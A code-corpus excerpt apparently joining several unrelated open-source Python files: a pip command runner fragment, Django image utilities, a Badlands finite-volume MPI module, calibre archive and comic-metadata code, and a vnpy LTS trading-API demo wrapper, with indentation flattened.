if not logger.stdout_level_matches(level):
logger.show_progress()
else:
logger.info(line)
else:
returned_stdout, returned_stderr = proc.communicate()
all_output = [returned_stdout or '']
proc.wait()
if proc.returncode:
if raise_on_returncode:
if all_output:
logger.notify('Complete output from command %s:' % command_desc)
logger.notify('\n'.join(all_output) + '\n----------------------------------------')
raise InstallationError(
"Command %s failed with error code %s in %s"
% (command_desc, proc.returncode, cwd))
else:
logger.warn(
"Command %s had error code %s in %s"
% (command_desc, proc.returncode, cwd))
if stdout is not None:
return ''.join(all_output)
def is_prerelease(vers):
"""
Attempt to determine if this is a pre-release using PEP386/PEP426 rules.
Will return True if it is a pre-release and False if not. Versions are
assumed to be a pre-release if they cannot be parsed.
"""
normalized = version._suggest_normalized_version(vers)
if normalized is None:
# Cannot normalize, assume it is a pre-release
return True
parsed = version._normalized_key(normalized)
return any([any([y in set(["a", "b", "c", "rc", "dev"]) for y in x]) for x in parsed])
|
gpl-2.0
|
ArnossArnossi/django
|
django/core/files/images.py
|
429
|
2428
|
"""
Utility functions for handling images.
Requires Pillow as you might imagine.
"""
import struct
import zlib
from django.core.files import File
class ImageFile(File):
"""
A mixin for use alongside django.core.files.base.File, which provides
additional features for dealing with images.
"""
def _get_width(self):
return self._get_image_dimensions()[0]
width = property(_get_width)
def _get_height(self):
return self._get_image_dimensions()[1]
height = property(_get_height)
def _get_image_dimensions(self):
if not hasattr(self, '_dimensions_cache'):
close = self.closed
self.open()
self._dimensions_cache = get_image_dimensions(self, close=close)
return self._dimensions_cache
def get_image_dimensions(file_or_path, close=False):
"""
Returns the (width, height) of an image, given an open file or a path. Set
'close' to True to close the file at the end if it is initially in an open
state.
"""
from PIL import ImageFile as PillowImageFile
p = PillowImageFile.Parser()
if hasattr(file_or_path, 'read'):
file = file_or_path
file_pos = file.tell()
file.seek(0)
else:
file = open(file_or_path, 'rb')
close = True
try:
# Most of the time Pillow only needs a small chunk to parse the image
# and get the dimensions, but with some TIFF files Pillow needs to
# parse the whole file.
chunk_size = 1024
while 1:
data = file.read(chunk_size)
if not data:
break
try:
p.feed(data)
except zlib.error as e:
# ignore zlib complaining on truncated stream, just feed more
# data to parser (ticket #19457).
if e.args[0].startswith("Error -5"):
pass
else:
raise
except struct.error:
# Ignore PIL failing on a too short buffer when reads return
# less bytes than expected. Skip and feed more data to the
# parser (ticket #24544).
pass
if p.image:
return p.image.size
chunk_size *= 2
return (None, None)
finally:
if close:
file.close()
else:
file.seek(file_pos)
|
bsd-3-clause
|
badlands-model/BayesLands
|
pyBadlands/surface/FVmethod.py
|
1
|
12118
|
##~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~##
## ##
## This file forms part of the Badlands surface processes modelling application. ##
## ##
## For full license and copyright information, please refer to the LICENSE.md file ##
## located at the project root, or contact the authors. ##
## ##
##~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~##
"""
This module encapsulates functions related to Badlands SP finite volume discretisation.
"""
import time
import numpy
from pyBadlands.libUtils import FVframe
import warnings
import triangle
import mpi4py.MPI as mpi
class FVmethod:
"""
This class builds paramters required for the Finite Volume mesh algorithm.
It creates the following for each node:
1. the voronoi cell area
2. an ordered list of voronoi edges length
Parameters
----------
nodes : string
The 2D coordinates of TIN nodes coordinates.
cells : string
IDs of each node defining TIN's cells.
edges
IDs of each edges from the TIN.
"""
def __init__(self, nodes, cells, edges):
self.node_coords = nodes
self.edges = edges
self.cells = cells
self.control_volumes = None
self.neighbours = None
self.vor_edges = None
self.edge_length = None
self.fillH = None
self.partIDs = None
self.maxNgbh = None
self.localIDs = None
self.outPts = None
self.outCells = None
def _FV_utils(self, lGIDs, verbose=False):
"""
This function constructs the Finite Volume discretisation for each local
triangularised grid.
Parameters
----------
lGIDs
Numpy integer-type array filled with the global vertex IDs for each local grid located
within the partition (including those on the edges).
inIDs
Numpy integer-type array filled with the global vertex IDs for each local grid located
within the partition (not those on the edges).
"""
comm = mpi.COMM_WORLD
rank = comm.Get_rank()
# Build the voronoi diagram (dual of the delaunay)
walltime = time.clock()
Vor_pts, Vor_edges = triangle.voronoi(self.node_coords)
if rank == 0 and verbose:
print " - build the voronoi diagram ", time.clock() - walltime
# Call the finite volume frame construction function from libUtils
walltime = time.clock()
self.control_volumes, self.neighbours, self.vor_edges, \
self.edge_length, maxNgbhs = FVframe.discretisation.build( \
lGIDs+1, self.localIDs+1, self.node_coords[:,0], self.node_coords[:,1],
self.edges[:,:2]+1, self.cells[:,:3]+1, Vor_pts[:,0], Vor_pts[:,1], \
Vor_edges[:,:2]+1)
if rank == 0 and verbose:
print " - construct Finite Volume representation ", time.clock() - walltime
# Maximum number of neighbours for each partition
maxNgbh = numpy.array(maxNgbhs)
comm.Allreduce(mpi.IN_PLACE,maxNgbh,op=mpi.MAX)
self.maxNgbh = maxNgbh
def _gather_GIDs(self, lGIDs):
"""
Gather local IDs to all processors.
Parameters
----------
lGIDs
Numpy integer-type array filled with the global vertex IDs for each local grid located
within the partition (including those on the edges).
Returns
-------
exportGIDs
Numpy integer-type array filled with the global vertex IDs ordered by processor ID.
localPtsNb
Number of points on each local partition.
"""
comm = mpi.COMM_WORLD
# Get global IDs of non-boundary vertex for each TIN
gid = lGIDs.astype(numpy.int32)
gids = gid[self.localIDs]
localPtsNb = len(gids)
# Find each partition contribution to global dataset
arraylIDsNb = comm.allgather(localPtsNb)
# Gather vertex IDs from each region globally
exportGIDs = numpy.zeros(sum(arraylIDsNb),dtype=gids.dtype)
comm.Allgatherv(sendbuf=[gids, mpi.INTEGER4],
recvbuf=[exportGIDs, (arraylIDsNb, None), mpi.INTEGER4])
return exportGIDs, localPtsNb
def _gather_Area(self, localPtsNb):
"""
Gather local voronoi area to all processors.
Parameters
----------
localPtsNb
Number of points on each local partition.
Returns
-------
exportVols
Numpy float-type array containing the voronoi area for each TIN node.
"""
comm = mpi.COMM_WORLD
# Get local volume declaration
vols = numpy.zeros(localPtsNb, dtype=numpy.float)
vols = self.control_volumes[self.localIDs]
volsFLT = vols.astype(numpy.float32)
# Find each partition contribution to global dataset
arraylocNb = comm.allgather(len(volsFLT))
# Gather flatten neighbour array definition from each region globally
exportVols = numpy.zeros(sum(arraylocNb),dtype=volsFLT.dtype)
comm.Allgatherv(sendbuf=[volsFLT, mpi.FLOAT],
recvbuf=[exportVols, (arraylocNb, None), mpi.FLOAT])
return exportVols
def _gather_Neighbours(self, localPtsNb, totPts):
"""
Gather local neigbours ID to all processors.
Parameters
----------
localPtsNb
Number of points on each local partition.
totPts
Total number of points on the global TIN surface.
Returns
-------
exportNgbhIDs
Numpy integer-type array filled with the global neighbourhood IDs.
shape
Shape of the neighbours array.
ngbhNbs
Numpy integer-type array filled with the local neighbourhood IDs.
"""
comm = mpi.COMM_WORLD
# Get local neighbourhood declaration
ngbh = numpy.zeros((localPtsNb,self.maxNgbh), dtype=numpy.int)
ngbh.fill(-2)
ngbh = self.neighbours[self.localIDs,:self.maxNgbh]
ngbh = numpy.ravel(ngbh)
ngbhINT = ngbh.astype(numpy.int32)
# Find each partition contribution to global dataset
ngbhNbs = comm.allgather(len(ngbhINT))
# Gather flatten neighbour array definition from each region globally
shape = (totPts, self.maxNgbh)
globalNgbh = numpy.zeros(sum(ngbhNbs),dtype=ngbhINT.dtype)
comm.Allgatherv(sendbuf=[ngbhINT, mpi.INT],
recvbuf=[globalNgbh, (ngbhNbs, None), mpi.INT])
exportNgbhIDs = numpy.reshape(globalNgbh,shape)
return exportNgbhIDs, shape, ngbhNbs
def _gather_Edges(self, localPtsNb, shape, ngbhNbs):
"""
Gather local edges to all processors.
Parameters
----------
localPtsNb
Number of points on each local partition.
shape
Shape of the neighbours array.
ngbhNbs
Numpy integer-type array filled with the local neighbourhood IDs.
Returns
-------
exportEdges
Numpy float-type array containing the lengths to each neighbour.
"""
comm = mpi.COMM_WORLD
# Get local edges length declaration
edges = numpy.zeros((localPtsNb,self.maxNgbh), dtype=numpy.float)
edges = self.edge_length[self.localIDs,:self.maxNgbh]
edges = numpy.ravel(edges)
edgesFLT = edges.astype(numpy.float32)
# Gather flatten array definition from each region globally
globalEdges = numpy.zeros(sum(ngbhNbs),dtype=edgesFLT.dtype)
comm.Allgatherv(sendbuf=[edgesFLT, mpi.FLOAT],
recvbuf=[globalEdges, (ngbhNbs, None), mpi.FLOAT])
exportEdges = numpy.reshape(globalEdges,shape)
return exportEdges
def _gather_VorEdges(self, localPtsNb, shape, ngbhNbs):
"""
Gather local voronoi edges to all processors.
Parameters
----------
localPtsNb
Number of points on each local partition.
shape
Shape of the neighbours array.
ngbhNbs
Numpy integer-type array filled with the local neighbourhood IDs.
Returns
-------
exportVors
Numpy float-type array containing the voronoi edge lengths to each neighbour.
"""
comm = mpi.COMM_WORLD
# Get local voronoi length declaration
vors = numpy.zeros((localPtsNb,self.maxNgbh), dtype=numpy.float)
vors = self.vor_edges[self.localIDs,:self.maxNgbh]
vors = numpy.ravel(vors)
vorsFLT = vors.astype(numpy.float32)
# Gather flatten array definition from each region globally
globalVors = numpy.zeros(sum(ngbhNbs),dtype=vorsFLT.dtype)
comm.Allgatherv(sendbuf=[vorsFLT, mpi.FLOAT],
recvbuf=[globalVors, (ngbhNbs, None), mpi.FLOAT])
exportVors = numpy.reshape(globalVors,shape)
return exportVors
def construct_FV(self, inIDs, lGIDs, totPts, res, verbose=False):
"""
Called function to build the Finite Volume discretisation of Badlands TIN grid.
Parameters
----------
nIDs
Numpy integer-type array filled with the global vertex IDs for each local grid located
within the partition (not those on the edges).
lGIDs
Numpy integer-type array filled with the global vertex IDs for each local grid located
within the partition (including those on the edges).
totPts
Total number of points on the global TIN surface.
res
Resolution of the tin edges.
Returns
-------
xportGIDs
Numpy integer-type array filled with the global vertex IDs ordered by processor ID.
exportNgbhIDs
Numpy integer-type array filled with the global neighbourhood IDs.
exportEdges
Numpy float-type array containing the lengths to each neighbour.
exportVors
Numpy float-type array containing the voronoi edge lengths to each neighbour.
exportVols
Numpy float-type array containing the voronoi area for each TIN node.
"""
comm = mpi.COMM_WORLD
rank = comm.Get_rank()
# Define each partition nodes global IDs
inArrays = numpy.in1d(lGIDs, inIDs)
ids = numpy.where(inArrays == True)[0]
self.partIDs = numpy.zeros(len(lGIDs))
self.partIDs.fill(-1)
self.partIDs[ids] = rank
# Get each partition local node ID
self.localIDs = numpy.where(self.partIDs == rank)[0]
# Call finite volume function
self._FV_utils(lGIDs)
# Gather processor dataset together
walltime = time.clock()
# Gather vertex IDs from each region globally
exportGIDs, localPtsNb = self._gather_GIDs(lGIDs)
# Gather voronoi area from each region globally
exportVols = self._gather_Area(localPtsNb)
# Gather neighbourhood IDs from each region globally
exportNgbhIDs, shape, ngbhNbs = self._gather_Neighbours(localPtsNb, totPts)
# Gather edges lengths from each region globally
exportEdges = self._gather_Edges(localPtsNb, shape, ngbhNbs)
maxdist = numpy.sqrt(2.*res**2)
exportEdges[exportEdges > 2.*maxdist] = maxdist
# Gather voronoi edges lengths from each region globally
exportVors = self._gather_VorEdges(localPtsNb, shape, ngbhNbs)
if rank == 0 and verbose:
print " - perform MPI communication ", time.clock() - walltime
return exportGIDs, exportNgbhIDs, exportEdges, exportVors, exportVols
|
gpl-3.0
|
jelly/calibre
|
src/calibre/ebooks/metadata/archive.py
|
2
|
5477
|
#!/usr/bin/env python2
# vim:fileencoding=UTF-8:ts=4:sw=4:sta:et:sts=4:ai
from __future__ import with_statement
__license__ = 'GPL v3'
__copyright__ = '2010, Kovid Goyal <[email protected]>'
__docformat__ = 'restructuredtext en'
import os
from contextlib import closing
from calibre.customize import FileTypePlugin
def is_comic(list_of_names):
extensions = set([x.rpartition('.')[-1].lower() for x in list_of_names
if '.' in x and x.lower().rpartition('/')[-1] != 'thumbs.db'])
comic_extensions = set(['jpg', 'jpeg', 'png'])
return len(extensions - comic_extensions) == 0
def archive_type(stream):
from calibre.utils.zipfile import stringFileHeader
try:
pos = stream.tell()
except:
pos = 0
id_ = stream.read(4)
ans = None
if id_ == stringFileHeader:
ans = 'zip'
elif id_.startswith('Rar'):
ans = 'rar'
try:
stream.seek(pos)
except:
pass
return ans
class ArchiveExtract(FileTypePlugin):
name = 'Archive Extract'
author = 'Kovid Goyal'
description = _('Extract common e-book formats from archive files '
'(ZIP/RAR). Also try to autodetect if they are actually '
'CBZ/CBR files.')
file_types = set(['zip', 'rar'])
supported_platforms = ['windows', 'osx', 'linux']
on_import = True
def run(self, archive):
from calibre.utils.zipfile import ZipFile
is_rar = archive.lower().endswith('.rar')
if is_rar:
from calibre.utils.unrar import extract_member, names
else:
zf = ZipFile(archive, 'r')
if is_rar:
fnames = list(names(archive))
else:
fnames = zf.namelist()
def fname_ok(fname):
bn = os.path.basename(fname).lower()
if bn == 'thumbs.db':
return False
if '.' not in bn:
return False
if bn.rpartition('.')[-1] in {'diz', 'nfo'}:
return False
if '__MACOSX' in fname.split('/'):
return False
return True
fnames = list(filter(fname_ok, fnames))
if is_comic(fnames):
ext = '.cbr' if is_rar else '.cbz'
of = self.temporary_file('_archive_extract'+ext)
with open(archive, 'rb') as f:
of.write(f.read())
of.close()
return of.name
if len(fnames) > 1 or not fnames:
return archive
fname = fnames[0]
ext = os.path.splitext(fname)[1][1:]
if ext.lower() not in {
'lit', 'epub', 'mobi', 'prc', 'rtf', 'pdf', 'mp3', 'pdb',
'azw', 'azw1', 'azw3', 'fb2', 'docx', 'doc', 'odt'}:
return archive
of = self.temporary_file('_archive_extract.'+ext)
with closing(of):
if is_rar:
data = extract_member(archive, match=None, name=fname)[1]
of.write(data)
else:
of.write(zf.read(fname))
return of.name
def get_comic_book_info(d, mi, series_index='volume'):
# See http://code.google.com/p/comicbookinfo/wiki/Example
series = d.get('series', '')
if series.strip():
mi.series = series
si = d.get(series_index, None)
if si is None:
si = d.get('issue' if series_index == 'volume' else 'volume', None)
if si is not None:
try:
mi.series_index = float(si)
except Exception:
mi.series_index = 1
if d.get('rating', -1) > -1:
mi.rating = d['rating']
for x in ('title', 'publisher'):
y = d.get(x, '').strip()
if y:
setattr(mi, x, y)
tags = d.get('tags', [])
if tags:
mi.tags = tags
authors = []
for credit in d.get('credits', []):
if credit.get('role', '') in ('Writer', 'Artist', 'Cartoonist',
'Creator'):
x = credit.get('person', '')
if x:
x = ' '.join((reversed(x.split(', '))))
authors.append(x)
if authors:
mi.authors = authors
comments = d.get('comments', '')
if comments and comments.strip():
mi.comments = comments.strip()
pubm, puby = d.get('publicationMonth', None), d.get('publicationYear', None)
if puby is not None:
from calibre.utils.date import parse_only_date
from datetime import date
try:
dt = date(puby, 6 if pubm is None else pubm, 15)
dt = parse_only_date(str(dt))
mi.pubdate = dt
except:
pass
def get_comic_metadata(stream, stream_type, series_index='volume'):
# See http://code.google.com/p/comicbookinfo/wiki/Example
from calibre.ebooks.metadata import MetaInformation
comment = None
mi = MetaInformation(None, None)
if stream_type == 'cbz':
from calibre.utils.zipfile import ZipFile
zf = ZipFile(stream)
comment = zf.comment
elif stream_type == 'cbr':
from calibre.utils.unrar import comment as get_comment
comment = get_comment(stream)
if comment:
import json
m = json.loads(comment)
if hasattr(m, 'iterkeys'):
for cat in m.iterkeys():
if cat.startswith('ComicBookInfo'):
get_comic_book_info(m[cat], mi, series_index=series_index)
break
return mi
|
gpl-3.0
|
pxsdirac/vnpy
|
vn.demo/ltsdemo/demoApi.py
|
46
|
32062
|
# encoding: UTF-8
"""
该文件中包含的是交易平台的底层接口相关的部分,
主要对API进行了一定程度的简化封装,方便开发。
"""
import os
from vnltsmd import MdApi
from vnltstd import *
from vnltsl2 import *
from eventEngine import *
from lts_data_type import defineDict
#----------------------------------------------------------------------
def print_dict(d):
"""打印API收到的字典,该函数主要用于开发时的debug"""
print '-'*60
for key, value in d.items():
print key, ':', value
########################################################################
class DemoMdApi(MdApi):
"""
Demo中的行情API封装
封装后所有数据自动推送到事件驱动引擎中,由其负责推送到各个监听该事件的回调函数上
对用户暴露的主动函数包括:
登陆 login
订阅合约 subscribe
"""
#----------------------------------------------------------------------
def __init__(self, eventEngine):
"""
API对象的初始化函数
"""
super(DemoMdApi, self).__init__()
# 事件引擎,所有数据都推送到其中,再由事件引擎进行分发
self.__eventEngine = eventEngine
# 请求编号,由api负责管理
self.__reqid = 0
# 以下变量用于实现连接和重连后的自动登陆
self.__userid = ''
self.__password = ''
self.__brokerid = ''
# 以下集合用于重连后自动订阅之前已订阅的合约,使用集合为了防止重复
self.__setSubscribed = set()
# 初始化.con文件的保存目录为\mdconnection,注意这个目录必须已存在,否则会报错
self.createFtdcMdApi(os.getcwd() + '\\mdconnection\\')
#----------------------------------------------------------------------
def onFrontConnected(self):
"""服务器连接"""
event = Event(type_=EVENT_LOG)
event.dict_['log'] = u'行情服务器连接成功'
self.__eventEngine.put(event)
# 如果用户已经填入了用户名等等,则自动尝试连接
if self.__userid:
req = {}
req['UserID'] = self.__userid
req['Password'] = self.__password
req['BrokerID'] = self.__brokerid
self.__reqid = self.__reqid + 1
self.reqUserLogin(req, self.__reqid)
#----------------------------------------------------------------------
def onFrontDisconnected(self, n):
"""服务器断开"""
event = Event(type_=EVENT_LOG)
event.dict_['log'] = u'行情服务器连接断开'
self.__eventEngine.put(event)
#----------------------------------------------------------------------
def onHeartBeatWarning(self, n):
"""心跳报警"""
# 因为API的心跳报警比较常被触发,且与API工作关系不大,因此选择忽略
pass
#----------------------------------------------------------------------
def onRspError(self, error, n, last):
"""错误回报"""
event = Event(type_=EVENT_LOG)
log = u'行情错误回报,错误代码:' + unicode(error['ErrorID']) + u',' + u'错误信息:' + error['ErrorMsg'].decode('gbk')
event.dict_['log'] = log
self.__eventEngine.put(event)
#----------------------------------------------------------------------
def onRspUserLogin(self, data, error, n, last):
"""登陆回报"""
event = Event(type_=EVENT_LOG)
if error['ErrorID'] == 0:
log = u'行情服务器登陆成功'
else:
log = u'登陆回报,错误代码:' + unicode(error['ErrorID']) + u',' + u'错误信息:' + error['ErrorMsg'].decode('gbk')
event.dict_['log'] = log
self.__eventEngine.put(event)
# 重连后自动订阅之前已经订阅过的合约
if self.__setSubscribed:
for instrument in self.__setSubscribed:
self.subscribe(instrument[0], instrument[1])
self.subscribe('510050', 'SSE')
#----------------------------------------------------------------------
def onRspUserLogout(self, data, error, n, last):
"""登出回报"""
event = Event(type_=EVENT_LOG)
if error['ErrorID'] == 0:
log = u'行情服务器登出成功'
else:
log = u'登出回报,错误代码:' + unicode(error['ErrorID']) + u',' + u'错误信息:' + error['ErrorMsg'].decode('gbk')
event.dict_['log'] = log
self.__eventEngine.put(event)
#----------------------------------------------------------------------
def onRspSubMarketData(self, data, error, n, last):
"""订阅合约回报"""
# 通常不在乎订阅错误,选择忽略
pass
#----------------------------------------------------------------------
def onRspUnSubMarketData(self, data, error, n, last):
"""退订合约回报"""
# 同上
pass
#----------------------------------------------------------------------
def onRtnDepthMarketData(self, data):
"""行情推送"""
# 行情推送收到后,同时触发常规行情事件,以及特定合约行情事件,用于满足不同类型的监听
# 常规行情事件
event1 = Event(type_=EVENT_MARKETDATA)
event1.dict_['data'] = data
self.__eventEngine.put(event1)
# 特定合约行情事件
event2 = Event(type_=(EVENT_MARKETDATA_CONTRACT+data['InstrumentID']))
event2.dict_['data'] = data
self.__eventEngine.put(event2)
#----------------------------------------------------------------------
def login(self, address, userid, password, brokerid):
"""连接服务器"""
self.__userid = userid
self.__password = password
self.__brokerid = brokerid
# 注册服务器地址
self.registerFront(address)
# 初始化连接,成功会调用onFrontConnected
self.init()
#----------------------------------------------------------------------
def subscribe(self, instrumentid, exchangeid):
"""订阅合约"""
req = {}
req['InstrumentID'] = instrumentid
req['ExchangeID'] = exchangeid
self.subscribeMarketData(req)
instrument = (instrumentid, exchangeid)
self.__setSubscribed.add(instrument)
########################################################################
class DemoTdApi(TdApi):
"""
Demo中的交易API封装
主动函数包括:
login 登陆
getInstrument 查询合约信息
getAccount 查询账号资金
getInvestor 查询投资者
getPosition 查询持仓
sendOrder 发单
cancelOrder 撤单
"""
#----------------------------------------------------------------------
def __init__(self, eventEngine):
"""API对象的初始化函数"""
super(DemoTdApi, self).__init__()
# 事件引擎,所有数据都推送到其中,再由事件引擎进行分发
self.__eventEngine = eventEngine
# 请求编号,由api负责管理
self.__reqid = 0
# 报单编号,由api负责管理
self.__orderref = 0
# 以下变量用于实现连接和重连后的自动登陆
self.__userid = ''
self.__password = ''
self.__brokerid = ''
# 合约字典(保存合约查询数据)
self.__dictInstrument = {}
# 初始化.con文件的保存目录为\tdconnection
self.createFtdcTraderApi(os.getcwd() + '\\tdconnection\\')
#----------------------------------------------------------------------
def onFrontConnected(self):
"""服务器连接"""
event = Event(type_=EVENT_LOG)
event.dict_['log'] = u'交易服务器连接成功'
self.__eventEngine.put(event)
# 如果用户已经填入了用户名等等,则自动尝试连接
if self.__userid:
req = {}
req['UserID'] = self.__userid
req['Password'] = self.__password
req['BrokerID'] = self.__brokerid
self.__reqid = self.__reqid + 1
self.reqUserLogin(req, self.__reqid)
#----------------------------------------------------------------------
def onFrontDisconnected(self, n):
"""服务器断开"""
event = Event(type_=EVENT_LOG)
event.dict_['log'] = u'交易服务器连接断开'
self.__eventEngine.put(event)
#----------------------------------------------------------------------
def onHeartBeatWarning(self, n):
"""心跳报警"""
pass
#----------------------------------------------------------------------
def onRspError(self, error, n, last):
"""错误回报"""
event = Event(type_=EVENT_LOG)
log = u'交易错误回报,错误代码:' + unicode(error['ErrorID']) + u',' + u'错误信息:' + error['ErrorMsg'].decode('gbk')
event.dict_['log'] = log
self.__eventEngine.put(event)
#----------------------------------------------------------------------
def onRspUserLogin(self, data, error, n, last):
"""登陆回报"""
event = Event(type_=EVENT_LOG)
if error['ErrorID'] == 0:
log = u'交易服务器登陆成功'
else:
log = u'登陆回报,错误代码:' + unicode(error['ErrorID']) + u',' + u'错误信息:' + error['ErrorMsg'].decode('gbk')
event.dict_['log'] = log
self.__eventEngine.put(event)
event2 = Event(type_=EVENT_TDLOGIN)
self.__eventEngine.put(event2)
#----------------------------------------------------------------------
def onRspUserLogout(self, data, error, n, last):
"""登出回报"""
event = Event(type_=EVENT_LOG)
if error['ErrorID'] == 0:
log = u'交易服务器登出成功'
else:
log = u'登出回报,错误代码:' + unicode(error['ErrorID']) + u',' + u'错误信息:' + error['ErrorMsg'].decode('gbk')
event.dict_['log'] = log
self.__eventEngine.put(event)
#----------------------------------------------------------------------
def onRspOrderInsert(self, data, error, n, last):
"""发单错误(柜台)"""
event = Event(type_=EVENT_LOG)
log = u' 发单错误回报,错误代码:' + unicode(error['ErrorID']) + u',' + u'错误信息:' + error['ErrorMsg'].decode('gbk')
event.dict_['log'] = log
self.__eventEngine.put(event)
#----------------------------------------------------------------------
def onRspOrderAction(self, data, error, n, last):
"""撤单错误(柜台)"""
event = Event(type_=EVENT_LOG)
log = u'撤单错误回报,错误代码:' + unicode(error['ErrorID']) + u',' + u'错误信息:' + error['ErrorMsg'].decode('gbk')
event.dict_['log'] = log
self.__eventEngine.put(event)
#----------------------------------------------------------------------
def onRspUserPasswordUpdate(self, data, error, n, last):
"""用户密码更新错误"""
pass
#----------------------------------------------------------------------
def onRspTradingAccountPasswordUpdate(self, data, error, n, last):
"""交易账户密码更新错误"""
pass
#----------------------------------------------------------------------
def onRspQryExchange(self, data, error, n, last):
"""交易所查询回报"""
pass
#----------------------------------------------------------------------
def onRspQryInstrument(self, data, error, n, last):
"""
合约查询回报
由于该回报的推送速度极快,因此不适合全部存入队列中处理,
选择先储存在一个本地字典中,全部收集完毕后再推送到队列中
(由于耗时过长目前使用其他进程读取)
"""
if error['ErrorID'] == 0:
event = Event(type_=EVENT_INSTRUMENT)
event.dict_['data'] = data
event.dict_['last'] = last
self.__eventEngine.put(event)
else:
event = Event(type_=EVENT_LOG)
log = u'合约投资者回报,错误代码:' + unicode(error['ErrorID']) + u',' + u'错误信息:' + error['ErrorMsg'].decode('gbk')
event.dict_['log'] = log
self.__eventEngine.put(event)
#----------------------------------------------------------------------
def onRspQryInvestor(self, data, error, n, last):
"""投资者查询回报"""
if error['ErrorID'] == 0:
event = Event(type_=EVENT_INVESTOR)
event.dict_['data'] = data
self.__eventEngine.put(event)
else:
event = Event(type_=EVENT_LOG)
log = u'合约投资者回报,错误代码:' + unicode(error['ErrorID']) + u',' + u'错误信息:' + error['ErrorMsg'].decode('gbk')
event.dict_['log'] = log
self.__eventEngine.put(event)
#----------------------------------------------------------------------
def onRspQryTradingCode(self, data, error, n, last):
"""交易编码查询回报"""
pass
#----------------------------------------------------------------------
def onRspQryTradingAccount(self, data, error, n, last):
"""资金账户查询回报"""
if error['ErrorID'] == 0:
event = Event(type_=EVENT_ACCOUNT)
event.dict_['data'] = data
self.__eventEngine.put(event)
else:
event = Event(type_=EVENT_LOG)
log = u'账户查询回报,错误代码:' + unicode(error['ErrorID']) + u',' + u'错误信息:' + error['ErrorMsg'].decode('gbk')
event.dict_['log'] = log
self.__eventEngine.put(event)
#----------------------------------------------------------------------
def onRspQryDepthMarketData(self, data, error, n, last):
"""行情查询回报"""
pass
#----------------------------------------------------------------------
def onRspQryBondInterest(self, data, error, n, last):
"""债券利息查询回报"""
pass
#----------------------------------------------------------------------
def onRspQryMarketRationInfo(self, data, error, n, last):
"""市值配售查询回报"""
pass
#----------------------------------------------------------------------
def onRspQryInstrumentCommissionRate(self, data, error, n, last):
"""合约手续费查询回报"""
pass
#----------------------------------------------------------------------
def onRspQryETFInstrument(self, data, error, n, last):
"""ETF基金查询回报"""
pass
#----------------------------------------------------------------------
def onRspQryETFBasket(self, data, error, n, last):
"""ETF股票篮查询回报"""
pass
#----------------------------------------------------------------------
def onRspQryOFInstrument(self, data, error, n, last):
"""OF合约查询回报"""
pass
#----------------------------------------------------------------------
def onRspQrySFInstrument(self, data, error, n, last):
"""SF合约查询回报"""
pass
#----------------------------------------------------------------------
def onRspQryOrder(self, data, error, n, last):
"""报单查询回报"""
pass
#----------------------------------------------------------------------
def onRspQryTrade(self, data, error, n, last):
"""成交查询回报"""
pass
#----------------------------------------------------------------------
def onRspQryInvestorPosition(self, data, error, n, last):
"""持仓查询回报"""
if error['ErrorID'] == 0:
event = Event(type_=EVENT_POSITION)
event.dict_['data'] = data
self.__eventEngine.put(event)
else:
event = Event(type_=EVENT_LOG)
log = u'持仓查询回报,错误代码:' + unicode(error['ErrorID']) + u',' + u'错误信息:' + error['ErrorMsg'].decode('gbk')
event.dict_['log'] = log
self.__eventEngine.put(event)
#----------------------------------------------------------------------
def onRtnOrder(self, data):
"""报单回报"""
# 更新最大报单编号
newref = data['OrderRef']
self.__orderref = max(self.__orderref, int(newref))
# 常规报单事件
event1 = Event(type_=EVENT_ORDER)
event1.dict_['data'] = data
self.__eventEngine.put(event1)
# 特定合约行情事件
event2 = Event(type_=(EVENT_ORDER_ORDERREF+data['OrderRef']))
event2.dict_['data'] = data
self.__eventEngine.put(event2)
#----------------------------------------------------------------------
def onRtnTrade(self, data):
"""成交回报"""
# 常规成交事件
event1 = Event(type_=EVENT_TRADE)
event1.dict_['data'] = data
self.__eventEngine.put(event1)
# 特定合约成交事件
event2 = Event(type_=(EVENT_TRADE_CONTRACT+data['InstrumentID']))
event2.dict_['data'] = data
self.__eventEngine.put(event2)
#----------------------------------------------------------------------
def onErrRtnOrderInsert(self, data, error):
"""发单错误回报(交易所)"""
event = Event(type_=EVENT_LOG)
log = u'发单错误回报,错误代码:' + unicode(error['ErrorID']) + u',' + u'错误信息:' + error['ErrorMsg'].decode('gbk')
event.dict_['log'] = log
self.__eventEngine.put(event)
#----------------------------------------------------------------------
def onErrRtnOrderAction(self, data, error):
"""撤单错误回报(交易所)"""
event = Event(type_=EVENT_LOG)
log = u'撤单错误回报,错误代码:' + unicode(error['ErrorID']) + u',' + u'错误信息:' + error['ErrorMsg'].decode('gbk')
event.dict_['log'] = log
self.__eventEngine.put(event)
#----------------------------------------------------------------------
def onRspFundOutByLiber(self, data, error, n, last):
"""LTS发起出金应答"""
pass
#----------------------------------------------------------------------
def onRtnFundOutByLiber(self, data):
"""LTS发起出金通知"""
pass
#----------------------------------------------------------------------
def onErrRtnFundOutByLiber(self, data, error):
"""LTS发起出金错误回报"""
pass
#----------------------------------------------------------------------
def onRtnFundInByBank(self, data):
"""银行发起入金通知"""
pass
#----------------------------------------------------------------------
def onRspQryFundTransferSerial(self, data, error, n, last):
"""资金转账查询应答"""
pass
#----------------------------------------------------------------------
def onRspFundInterTransfer(self, data, error, n, last):
"""资金内转应答"""
pass
#----------------------------------------------------------------------
def onRspQryFundInterTransferSerial(self, data, error, n, last):
"""资金内转流水查询应答"""
pass
#----------------------------------------------------------------------
def onRtnFundInterTransferSerial(self, data):
"""资金内转流水通知"""
pass
#----------------------------------------------------------------------
def onErrRtnFundInterTransfer(self, data, error):
"""资金内转错误回报"""
pass
#----------------------------------------------------------------------
def login(self, address, userid, password, brokerid):
"""连接服务器"""
self.__userid = userid
self.__password = password
self.__brokerid = brokerid
# 数据重传模式设为从本日开始
self.subscribePrivateTopic(0)
self.subscribePublicTopic(0)
# 注册服务器地址
self.registerFront(address)
# 初始化连接,成功会调用onFrontConnected
self.init()
#----------------------------------------------------------------------
def getInstrument(self):
"""查询合约"""
self.__reqid = self.__reqid + 1
self.reqQryInstrument({}, self.__reqid)
#----------------------------------------------------------------------
def getAccount(self):
"""查询账户"""
self.__reqid = self.__reqid + 1
self.reqQryTradingAccount({}, self.__reqid)
#----------------------------------------------------------------------
def getInvestor(self):
"""查询投资者"""
self.__reqid = self.__reqid + 1
self.reqQryInvestor({}, self.__reqid)
